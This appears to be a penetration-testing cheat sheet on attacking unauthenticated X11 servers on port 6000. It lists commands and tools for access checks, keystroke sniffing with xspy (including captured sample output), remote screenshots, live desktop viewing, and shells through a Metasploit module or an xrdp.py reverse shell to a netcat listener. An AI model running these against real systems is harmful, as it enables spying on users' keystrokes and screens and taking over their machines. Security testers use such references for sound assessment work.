6000 - Pentesting X11

Basic Information

The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this. From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Default port: 6000

6000/tcp   open    X11


Check for anonymous connection:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display


xspy to sniff the keyboard keystrokes.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

First we need to find the ID of the window using xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0


For live viewing we need to use

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Other way:

Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:

./xrdp.py <IP:0> –no-disp

It will prompt a new control pane where we can see the R-shell option, which is illustrated below:

We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:

Then add the IP and port and then select R-Shell, which is illustrated below:

Now as can be seen below we have complete system access:


  • port:6000 x11

Last updated